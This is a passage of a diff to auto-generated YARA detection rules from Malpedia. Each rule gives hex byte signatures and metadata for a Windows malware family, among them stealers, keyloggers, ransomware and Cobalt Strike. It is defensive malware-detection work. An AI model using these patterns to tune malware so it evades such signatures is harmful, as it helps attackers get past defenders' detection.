41b807000000 488b442440 } + $sequence_5 = { be08780000 8bce e8???????? 488bf8 4885c0 0f8422010000 48ffce } + $sequence_6 = { 488d5547 488d4def 4c895d47 e8???????? 4c8d1d9b4a0000 488d150c640000 488d4def } + $sequence_7 = { 48ffc1 483bca 72f0 458bc7 } + $sequence_8 = { 418800 49ffc0 49ffc3 41d1ea 418b03 488b6c2450 be00000080 } + $sequence_9 = { 488d542458 488d4c2428 e8???????? 4c8d1d12e50000 4c895c2428 } condition: - 7 of them and filesize < 4825088 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Metastealer_Auto : FILE +rule MALPEDIA_Win_Redyms_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d224b589-7615-5bc0-8bb6-5706cda78332" + id = "ef628f44-574a-5627-8d8b-734217cd0062" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.metastealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redyms_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "6cb10cffce7c1599b69c9e05c260560e4bdcb2bc8aa657b55f875ee3bb8ed71d" + logic_hash = "332ef19bb997044700a2b380446c47adf654ddb5c63453028d068b88131edb5b" score = 75 quality = 75 tags = "FILE" @@ -107040,91 +107427,71 @@ rule MALPEDIA_Win_Metastealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f30f59c3 f30f584104 f30f114104 0f28c1 f30f584108 f30f584918 f30f59c3 } - $sequence_1 = { f3a5 68???????? 66a5 c680b600000000 e8???????? 68???????? e8???????? } - $sequence_2 = { ffb6a8000000 8d86d8000000 50 56 e8???????? 83c410 f7d8 } - $sequence_3 = { f30f59cb f30f5c662c f30f101d???????? f30f5c4e28 f30f1150f8 f30f59e2 f30f59ca } - $sequence_4 = { ff7624 e8???????? 83c404 894654 85c0 7412 0f57c0 } - $sequence_5 = { f30f5dc3 f30f107804 f30f102d???????? f20f1035???????? f30f59d3 f30f59c5 f30f5ed7 } - $sequence_6 = { f20f101d???????? f20f1025???????? f20f102d???????? f20f1035???????? f20f103d???????? 8b5508 8b45fc } - $sequence_7 = { ffd0 8bd8 83c40c 807d0c00 899f88010000 895df8 c703???????? } - $sequence_8 = { e8???????? 6a02 8d4704 83c302 50 53 e8???????? } - $sequence_9 = { ffd0 83c404 85c0 7423 8b8690010000 80781100 74e8 } + $sequence_0 = { c745d800000000 8b7dd8 56 6a00 ff15???????? } + $sequence_1 = { 53 03f7 56 57 e8???????? 83c40c } + $sequence_2 = { 2bf7 03c7 83ee02 56 8d540802 52 53 } + $sequence_3 = { b8???????? ffd0 898590feffff 85c0 } + $sequence_4 = { 8b856cfdffff 50 ff15???????? 6a09 8d8d74feffff 51 68???????? } + $sequence_5 = { 8b0f 014b2c 8b4b2c 85c0 7571 } + $sequence_6 = { 85ff 7433 8b95ecfeffff 83c2fc } + $sequence_7 = { 740b 50 53 ff15???????? 50 ffd6 8b45d4 } + $sequence_8 = { 6a00 68???????? 68???????? 51 56 } + $sequence_9 = { 8bf0 85f6 740c 8b550c 57 52 56 } condition: - 7 of them and filesize < 26230784 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Sisfader_Auto : FILE +rule MALPEDIA_Win_Unidentified_111_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a0cdd7ba-37f5-5dee-9bd0-dfe8ed58e119" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sisfader_auto.yar#L1-L285" + id = "761c3c1a-627b-5adf-b1c2-f96f11c05a94" + date = "2023-12-06" + modified = "2023-12-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_111_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "d369a40cd08ca7aac194db42ed12df65df4a56409fba20e45dda5f2780e9b9bf" + logic_hash = "8a86a6eb9509e0a5b4e912cde53abfcabb23f3644fc565d69ca8396c5dc5d7c9" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20231130" + malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" + malpedia_version = "20230808" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 85c0 b91d000000 0f44d9 } - $sequence_1 = { 741f 33c0 85c9 7419 } - $sequence_2 = { 8905???????? c705????????00000000 8b442440 8905???????? } - $sequence_3 = { ff15???????? 85c0 7e08 03d8 3bdf 7c98 } - $sequence_4 = { 33c0 83f801 7425 baffffffff } - $sequence_5 = { 85c0 753e 8d47dc 8903 83f824 723b } - $sequence_6 = { c705????????10000000 8b442430 8905???????? c705????????07000000 } - $sequence_7 = { eb5b 837d0800 751f 8b451c 50 8b4d18 } - $sequence_8 = { 8b4508 8b4808 51 ff15???????? 83c408 8945e0 } - $sequence_9 = { 837c245000 7405 e9???????? 83bc248000000000 7539 } - $sequence_10 = { 837c245000 7402 eb12 c744245401000000 33c0 } - $sequence_11 = { 85c0 7502 eb71 8b45fc 8b08 } - $sequence_12 = { c7430438020000 66837c247c2e 751f 0fb744247e 6685c0 0f8496010000 6683f82e } - $sequence_13 = { ff15???????? 83c414 8945d8 837dd800 } - $sequence_14 = { 8b5118 52 8b45f4 8b4830 51 ff15???????? } - $sequence_15 = { ff15???????? 8945f8 837df800 7402 eb5b 837d0800 } - $sequence_16 = { 83ec60 c745fc00000000 c745e000000000 6a40 8b450c 50 e8???????? } - $sequence_17 = { e8???????? 85c0 7412 ba01000000 b910270000 } - $sequence_18 = { 89442420 837c242001 7425 837c242002 } - $sequence_19 = { 5e 5b 8be5 5d c3 3de3e00000 7511 } - $sequence_20 = { 51 ff15???????? 85c0 0f85ba010000 8b55fc 837a0c00 0f84ad010000 } - $sequence_21 = { 8a0410 30443924 41 3b4f04 72ee 8b4704 8bd7 } - $sequence_22 = { 7425 837c242002 7441 837c242003 } - $sequence_23 = { 0f1086f0000000 c7400410000000 c7400c00000000 0f114014 } - $sequence_24 = { 8b442464 89442430 8b442468 89442434 } - $sequence_25 = { a810 746a 8b570c 8d8c2460020000 6a00 e8???????? 83c404 } - $sequence_26 = { 8bd0 83e20f 8a8c0a00010000 300c18 } - $sequence_27 = { 685c020000 6a40 ffd6 0f1005???????? 8bf8 8b4508 0f114714 } - $sequence_28 = { 745d 837c242004 7479 837c242005 0f8480000000 e9???????? } - $sequence_29 = { c700aaeeddff 33c0 894710 c7470430020000 8d4840 ff15???????? } + $sequence_0 = { 488b4c2428 0fbe09 3bc1 7512 } + $sequence_1 = { c744242002000000 e9???????? 837c243406 7511 837c243801 750a } + $sequence_2 = { 8b00 488b4c2430 488b09 0fbe0401 48634c2404 488b542428 0fbe0c0a } + $sequence_3 = { eb43 41b901000000 448b442424 488b542428 488b4c2448 e8???????? } + $sequence_4 = { eb1f c744242000000000 4533c9 4533c0 } + $sequence_5 = { 488b4c2448 ff15???????? 89442444 837c244400 7502 eb11 } + $sequence_6 = { 488d8c0c60020000 ba02000000 486bd200 4803ca 448bc0 488b542420 e8???????? } + $sequence_7 = { 66c1ca08 0fb7d2 4c8b8424a0000000 450fb74006 6641c1c808 450fb7c0 4c8b8c24a0000000 } + $sequence_8 = { e8???????? b910000000 e8???????? 4889442448 488b442448 488b4c2450 488908 } + $sequence_9 = { 4889542410 48894c2408 4883ec78 c744243000000000 c744243400000000 488b942488000000 488d4c2448 } condition: - 7 of them and filesize < 417792 + 7 of them and filesize < 148480 } -rule MALPEDIA_Win_Ragnarok_Auto : FILE +rule MALPEDIA_Win_Nitrogen_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0503ca8a-2001-56e1-b42c-037f05f91d96" + id = "75d54911-9963-5fa1-94d4-824f367ba5ac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ragnarok_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitrogen_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "5619f0dd5fd5026a251efa6637f932f898dc57a4a8452621caeee9cc8878df0d" + logic_hash = "5f8ac2a7555dea7311ca047ff8fe4bf1acad1a9235530176528b358f16735fc3" score = 75 quality = 75 tags = "FILE" @@ -107138,32 +107505,34 @@ rule MALPEDIA_Win_Ragnarok_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1f906 57 6bf838 894df4 8b048d28754300 8b540718 8955ec } - $sequence_1 = { 8945b8 8b45a8 8bc8 2345b0 f7d1 234d98 c1c20a } - $sequence_2 = { 0f1f4000 8bc8 8b4104 85c0 75f7 895104 8b9db4feffff } - $sequence_3 = { 8bc6 f7d0 c1c208 03550c 0bc7 33c3 8955bc } - $sequence_4 = { 8b96e0000000 83fa14 7d38 8d0492 8d0c86 8d0492 c781e4000000e0b04000 } - $sequence_5 = { 8b7d08 0fb6ca 333c8d105d4300 8bcf 897d08 334814 894d08 } - $sequence_6 = { 3a8a54d84200 7532 8b06 8a08 40 42 8906 } - $sequence_7 = { c1c10a 89459c 81c6a1ebd96e 8bc2 894d98 } - $sequence_8 = { 234db4 03c3 894598 8b45b8 23c2 c145b80a 0bc8 } - $sequence_9 = { 8b0c8d28754300 88440f2b 83fa03 7511 8b45fc 8b0c8528754300 8a06 } + $sequence_0 = { 8905???????? 488b05???????? 48ffc0 488905???????? } + $sequence_1 = { 4898 488905???????? 8b05???????? 488905???????? } + $sequence_2 = { 488b05???????? 89442454 8b05???????? 89442458 } + $sequence_3 = { 4898 488905???????? 488b05???????? 4885c0 } + $sequence_4 = { 0fbe05???????? c1e002 4898 488905???????? } + $sequence_5 = { 668905???????? 488b05???????? 48ffc8 488905???????? } + $sequence_6 = { 668905???????? 8b05???????? 668905???????? 8b05???????? } + $sequence_7 = { eb35 488b05???????? 4885c0 7429 } + $sequence_8 = { 8b05???????? ffc0 8905???????? 0fb705???????? } + $sequence_9 = { 668905???????? 8b05???????? ffc8 8905???????? } + $sequence_10 = { 0fb6c0 8905???????? 8b05???????? 85c0 } + $sequence_11 = { 8905???????? 488b05???????? 480faf05???????? 488905???????? } condition: - 7 of them and filesize < 483328 + 7 of them and filesize < 135349248 } -rule MALPEDIA_Win_Carrotbat_Auto : FILE +rule MALPEDIA_Win_Dnspionage_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9e3c15b1-53c0-536f-b748-485d961b1513" + id = "f66d8271-cdd2-51ef-96af-74c2c2b12bda" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carrotbat_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnspionage_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "bfaec56400fafcaf85efd0fb6650770c8db082e08e8b7c0c5f56e8a5a426d6b1" + logic_hash = "e53e7ef31e7434c4327d38b1a8e0754ac09c84880301d9d6d51e12488698b367" score = 75 quality = 75 tags = "FILE" @@ -107177,34 +107546,34 @@ rule MALPEDIA_Win_Carrotbat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff742424 c22800 c744241402000000 66f7d7 9c 89742414 0fcf } - $sequence_1 = { 0f84b9000000 8975e0 8b04bd20ee4000 0500080000 3bf0 0f8396000000 } - $sequence_2 = { 0f88d7feffff d2df 660fa5cf 5f 660fbaf30b 6681c61cd0 6681cef437 } - $sequence_3 = { e8???????? 33cd ff3424 0fbed9 8b5c240c 9c c60424ba } - $sequence_4 = { 8bff 56 57 33f6 bf???????? 833cf5a4d5400001 } - $sequence_5 = { 7353 8bc1 c1f805 8bf1 83e61f 8d3c8520ee4000 } - $sequence_6 = { 7524 a1???????? a3???????? a1???????? c705????????46444000 8935???????? a3???????? } - $sequence_7 = { 80e17f 3008 8b06 8bc8 c1f905 8b0c8d20ee4000 83e01f } - $sequence_8 = { 3b0d???????? 7353 8bc1 c1f805 8bf1 83e61f 8d3c8520ee4000 } - $sequence_9 = { 5f 03d1 5e c6840201ed400000 5b 5d } + $sequence_0 = { 99 52 50 e8???????? 83c408 8bd0 b9???????? } + $sequence_1 = { 33f6 8b4608 034604 0306 50 } + $sequence_2 = { 803d????????00 7517 c605????????01 33c0 c605????????01 5b } + $sequence_3 = { ff15???????? 83c404 33c0 5f 5e 5b 8b4df8 } + $sequence_4 = { 56 8d8500feffff 8bf1 50 e8???????? 838d0cfeffff07 8b4624 } + $sequence_5 = { eb0a 8d0492 8d144509000000 8bcf 43 } + $sequence_6 = { c7450c00000000 8d4d0c ba???????? 51 8d4df4 } + $sequence_7 = { b9???????? e8???????? 6a00 6a01 e8???????? 8bd0 b9???????? } + $sequence_8 = { 83c404 8bf8 33f6 0f1f4000 e8???????? 33d2 } + $sequence_9 = { ff15???????? 83bdf8feffff00 764a ff15???????? 85c0 7540 8b85f8feffff } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 786432 } -rule MALPEDIA_Win_Ddkeylogger_Auto : FILE +rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a67b64ba-3a24-5b03-97bb-6fa1fd617831" + id = "aab8f287-0819-52fa-8447-761ad2e94a18" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ddkeylogger_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobalt_strike_auto.yar#L1-L289" license_url = "N/A" - logic_hash = "35bb77ee32a1ee4cf41a3e8133dabb1263e352712bd1dfe36cdbb7e1ce08650b" + logic_hash = "6946d3d1b89ab18cd12b0ef58b50d5d28d283228462e1be6da78da0efd49ddbb" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -107216,32 +107585,54 @@ rule MALPEDIA_Win_Ddkeylogger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 88140e 0fb611 feca 88140f 83c102 48 } - $sequence_1 = { c1eb06 03de 0fb61493 885102 } - $sequence_2 = { 0fb7f1 57 bfffff0000 c745f400000000 } - $sequence_3 = { 83c418 8d8de7faffff c745fcffffffff e8???????? 85f6 0f8f14feffff 8b85e0faffff } - $sequence_4 = { 8bce eb99 53 8b1d???????? 6a00 ffd3 } - $sequence_5 = { 83c8ff e9???????? 8bc6 c1f805 8bfe 53 8d1c8580ee4500 } - $sequence_6 = { 83f801 8bc7 7508 8a4c0bff 884c3bff c6043b00 5f } - $sequence_7 = { c1fa05 8b149580ee4500 c1e006 8d440224 } - $sequence_8 = { 7448 f7c200f00000 7420 f7c200c00000 740c f7c200800000 0f95c0 } - $sequence_9 = { 56 ff15???????? 56 8bf8 ff15???????? 3b3d???????? } + $sequence_0 = { 3bc7 750d ff15???????? 3d33270000 } + $sequence_1 = { e9???????? eb0a b801000000 e9???????? } + $sequence_2 = { ff15???????? 85c0 741d ff15???????? 85c0 7513 } + $sequence_3 = { ff7608 83660400 e8???????? 59 } + $sequence_4 = { ff15???????? 59 a807 7501 4e } + $sequence_5 = { ff75f8 ff75fc ff15???????? 83c40c eb15 ff75fc } + $sequence_6 = { ff7604 ff75fc ff15???????? 83c410 } + $sequence_7 = { ff15???????? 59 c70601000000 e9???????? } + $sequence_8 = { ff7604 e8???????? 014604 83c410 014608 } + $sequence_9 = { 85c0 7405 e8???????? 8b0d???????? 85c9 } + $sequence_10 = { e9???????? 833d????????01 7505 e8???????? } + $sequence_11 = { 8bd0 e8???????? 85c0 7e0e } + $sequence_12 = { f7d8 1bc9 4423f9 488d4ddf e8???????? } + $sequence_13 = { c1ef03 8bc7 ffc0 81ff80000000 720b eb05 } + $sequence_14 = { 488bd7 488bcf e8???????? 85c0 7569 498bcf } + $sequence_15 = { 83f801 750e e8???????? 4c8d2dca1e0000 eb16 e8???????? 8bd8 } + $sequence_16 = { 7409 c745f040000000 eb07 c745f004000000 } + $sequence_17 = { 52 8b4508 8b08 ffd1 85c0 } + $sequence_18 = { 837d0c00 7422 837d1000 761c 837d1404 } + $sequence_19 = { 6a20 8b4d10 51 8b550c 52 } + $sequence_20 = { 8b5514 52 8b450c 8b4850 } + $sequence_21 = { 56 57 8b4510 8b4850 } + $sequence_22 = { 8b4510 8b4850 8b550c 8d440ac0 } + $sequence_23 = { b940000000 f3aa 5f 5e } + $sequence_24 = { 488b842490000000 8b4050 488b8c2488000000 488d4401c0 } + $sequence_25 = { c644246856 c644246969 c644246a72 c644246b74 c644246c75 } + $sequence_26 = { 4889442418 48837c242800 0f8496010000 488b0424 0fb700 66c1e80c } + $sequence_27 = { 4803c8 488bc1 4889442408 488b442410 8b4004 4883e808 33d2 } + $sequence_28 = { 488bc1 4889442450 488b442450 4883c002 488b7c2420 } + $sequence_29 = { 488b842490000000 ff5008 488b8c2490000000 48894110 488d542458 488b4c2420 } + $sequence_30 = { 488b0c24 0fb709 6623c8 0fb7c1 0fb7c0 488b4c2408 488b0401 } + $sequence_31 = { c644247600 488d4c2428 488b842490000000 ff10 4889442420 } condition: - 7 of them and filesize < 808960 + 7 of them and filesize < 1015808 } -rule MALPEDIA_Win_Pgift_Auto : FILE +rule MALPEDIA_Win_Yayih_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5134e180-c701-504d-b27b-1f2a37782304" + id = "20c4d84b-adf0-50ee-81d6-f74bed13f2d6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pgift_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yayih_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "86543d2a9c2965bb35bf9078bd182bce16bae717918e12d47f187ce1755d9b8f" + logic_hash = "ccf9d220b177854895c46141d0b55d3d71e3c288e2342d7f6d4b5f34327dab2f" score = 75 quality = 75 tags = "FILE" @@ -107255,34 +107646,34 @@ rule MALPEDIA_Win_Pgift_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645fc03 e8???????? ff7510 8d4de8 } - $sequence_1 = { e8???????? 8d7e01 57 ebac } - $sequence_2 = { 53 6a11 ff15???????? 8bd8 8d45ec } - $sequence_3 = { 53 6a01 6800000040 ff75ec ff15???????? 8bd8 } - $sequence_4 = { 7408 ff4510 83c710 eb99 8b4e14 } - $sequence_5 = { 89450c 8d45e4 53 50 8d4594 50 } - $sequence_6 = { 50 8d4de4 e8???????? 33db 8d8de4feffff 895dfc 895dec } - $sequence_7 = { 8d4de8 c645fc01 e8???????? 83f8ff 750f 6a2f 8d4de8 } - $sequence_8 = { e9???????? 8b4d08 8bc3 2bc1 c1f802 3bc7 7369 } - $sequence_9 = { e8???????? ff75e8 ff15???????? eb53 8b45ec 3958f8 742f } + $sequence_0 = { 6a01 8d459c 5f 6689b548ffffff 50 } + $sequence_1 = { ff75f8 ff15???????? 8d85bcd8ffff 50 e8???????? 80bc05bbd8ffff3e } + $sequence_2 = { 8a1c33 80eb03 ff4508 8819 49 } + $sequence_3 = { e8???????? 59 59 8d85f0fdffff 68???????? } + $sequence_4 = { 7517 ff45e0 817de050c30000 0f8cecfdffff 33f6 e9???????? 6a44 } + $sequence_5 = { 83650800 8b550c 8d78ff 59 85ff } + $sequence_6 = { 8d8570fdffff 68???????? 50 ff15???????? 83c410 3bc3 894508 } + $sequence_7 = { 50 56 ff15???????? bf04010000 } + $sequence_8 = { c785f0feffff28000000 6a0c 8d45d0 56 50 e8???????? 6801200000 } + $sequence_9 = { 68???????? 50 e8???????? 59 8d85c0feffff 59 50 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Tildeb_Auto : FILE +rule MALPEDIA_Win_Strongpity_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c974fa6c-0d31-59bc-a143-d1c23bc433da" + id = "14bad2bc-8b1c-5604-a8c5-9e952bb2db14" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tildeb_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strongpity_auto.yar#L1-L178" license_url = "N/A" - logic_hash = "7842b223356a837886d4f126b2b0f2ea5dcea94b3925e6e82a6b6f41a78e7627" - score = 75 - quality = 75 + logic_hash = "489b26cd26695d5bf1487fe83576061d12be04bfa204a50dba999c14e24baf44" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -107294,32 +107685,38 @@ rule MALPEDIA_Win_Tildeb_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bbc24e0000000 03fb 03ef 8b3d???????? } - $sequence_1 = { ff15???????? e9???????? 6810270000 8b0d???????? 51 ff15???????? 85c0 } - $sequence_2 = { 83c8ff 5e 81c494010000 c3 b80a000000 5e 81c494010000 } - $sequence_3 = { 8d4c2420 e8???????? 50 ff15???????? 8bf8 83c9ff 33c0 } - $sequence_4 = { 50 51 ff15???????? 3d040000c0 7516 8b16 } - $sequence_5 = { b9???????? e8???????? 6a00 6a04 8d85e0f9ffff 50 } - $sequence_6 = { 8d85e4f9ffff 50 6800040000 ff15???????? 8d8de0f5ffff 51 6a00 } - $sequence_7 = { 33dd 8bac24d0000000 899c24ec000000 8b9c24e4000000 33dd 8bac24b8000000 33dd } - $sequence_8 = { 89442460 8b442454 8d4c2458 33f0 51 89742468 e8???????? } - $sequence_9 = { 85c0 7507 c605????????01 68???????? 68???????? 8b3d???????? ffd7 } + $sequence_0 = { ff15???????? 85c0 74b8 6a14 59 } + $sequence_1 = { 6a1f 56 ff15???????? 33c0 50 ff7710 } + $sequence_2 = { 8b45ec 6a02 5a 663938 750d 49 03c2 } + $sequence_3 = { 740d 817df4c8000000 7504 8bc6 } + $sequence_4 = { 85ff 7507 33c0 e9???????? b90a020000 33d2 8810 } + $sequence_5 = { 83e901 75f8 8bcb 897dd0 c745d404010000 } + $sequence_6 = { 7433 53 56 ff15???????? 85c0 7427 53 } + $sequence_7 = { 8819 41 83e801 75f8 ff75d0 68???????? } + $sequence_8 = { 5e 5d 8d432f 5b 8b4c2418 } + $sequence_9 = { 5e 5d 8bc3 5b 83c410 c3 8b464c } + $sequence_10 = { 5e 5d b803000000 5b 59 c3 8b06 } + $sequence_11 = { 5e 5d 8d431b 5b 8b8c24a8090000 } + $sequence_12 = { 5e 5d 8919 33c0 5b 59 } + $sequence_13 = { 5e 5d 8bc3 c7826c02000001000000 5b 83c410 } + $sequence_14 = { 5e 5d b809000000 5b 83c408 c3 8b4640 } + $sequence_15 = { 7410 5f c7866c02000001000000 5e 83c410 c3 } condition: - 7 of them and filesize < 8532488 + 7 of them and filesize < 999424 } -rule MALPEDIA_Win_5T_Downloader_Auto : FILE +rule MALPEDIA_Win_Atomsilo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4a370ca-6c61-5c78-8868-cd8df81cd00c" + id = "3a4d686f-c99d-5c01-b555-7095e6b70c0c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.5t_downloader_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atomsilo_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "584a19ffb7b53f3b149aeb982ecf23155ae77e2c2b57bc23c34103eb885f8cf5" + logic_hash = "8aed315237abd1e84c2f2f4a7b7891e44774fb638cce5cdf1ee6cabd913c51c4" score = 75 quality = 75 tags = "FILE" @@ -107333,32 +107730,32 @@ rule MALPEDIA_Win_5T_Downloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7403 5d ffe1 83c8ff } - $sequence_1 = { 55 8bec 8b4508 85c0 7416 83781400 7510 } - $sequence_2 = { 8b4508 85c0 7416 83781400 7510 } - $sequence_3 = { 83781800 7403 5d ffe1 } - $sequence_4 = { 85c9 7409 83781800 7403 5d ffe1 83c8ff } - $sequence_5 = { 85c9 7409 83781800 7403 5d ffe1 } - $sequence_6 = { 83781800 7403 5d ffe1 83c8ff } - $sequence_7 = { 85c9 7409 83781800 7403 } - $sequence_8 = { 85c0 7416 83781400 7510 } - $sequence_9 = { 7409 83781800 7403 5d } + $sequence_0 = { 48c7c03f000000 23c1 488d0d7a8d0100 f20f5904c1 f20f5804c1 660f72e406 660f73f434 } + $sequence_1 = { 90 488d4f78 488d542458 e8???????? 488bd8 488b4c2470 48394c2468 } + $sequence_2 = { 4053 4883ec20 488d054b400800 488bd9 488901 488d052e420800 48894108 } + $sequence_3 = { 480134c7 0f8593010000 ffc1 8bc1 493bc0 72ed 488b5318 } + $sequence_4 = { 48c7442458ffffffff 4c89742460 4d85f6 7505 498bef eb0b 498bce } + $sequence_5 = { 4183cf08 44897c2420 4c8d4c2458 4c8bc6 488d55b8 488d4d88 e8???????? } + $sequence_6 = { 4103c7 c1ca02 448b7c2408 03c8 4403c9 4433ff } + $sequence_7 = { 8bc9 488b542430 8b0c8a c1e908 0fb6c9 488d1554b50500 } + $sequence_8 = { 488d0dda730900 8b542440 83c202 8bd2 4c8b442430 418b1490 c1ea10 } + $sequence_9 = { 488bd0 488bcb e8???????? 4103f5 413bf4 72c1 488b45a7 } condition: - 7 of them and filesize < 539648 + 7 of them and filesize < 1785856 } -rule MALPEDIA_Win_Nailao_Locker_Auto : FILE +rule MALPEDIA_Win_Ice_Cache_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e45fdbac-42d1-5920-9b35-9a9e44ef7d5d" + id = "2bb6d9ef-4306-54f0-bb68-5fe8abb99071" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nailao_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nailao_locker_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_cache" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_cache_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "b259eb4feabff6fee143b3ad97a8691b9630885ab19604f45e8a846a4deaff46" + logic_hash = "257ed7cb63e1c0858485a90386f353a13f9ab5e026a2c8483909741253dfdd4d" score = 75 quality = 75 tags = "FILE" @@ -107372,32 +107769,32 @@ rule MALPEDIA_Win_Nailao_Locker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 4c8d4c2474 488bcb 4c8d44246c 488d542464 ff15???????? } - $sequence_1 = { 488bc5 4c8d0551650100 488bcd 48c1f906 83e03f 498b0cc8 488d14c0 } - $sequence_2 = { 488bd8 4885c0 7560 488bc7 4c8d35104cffff 498784f620120200 } - $sequence_3 = { e8???????? 4c8d458c 488bd7 85c0 7411 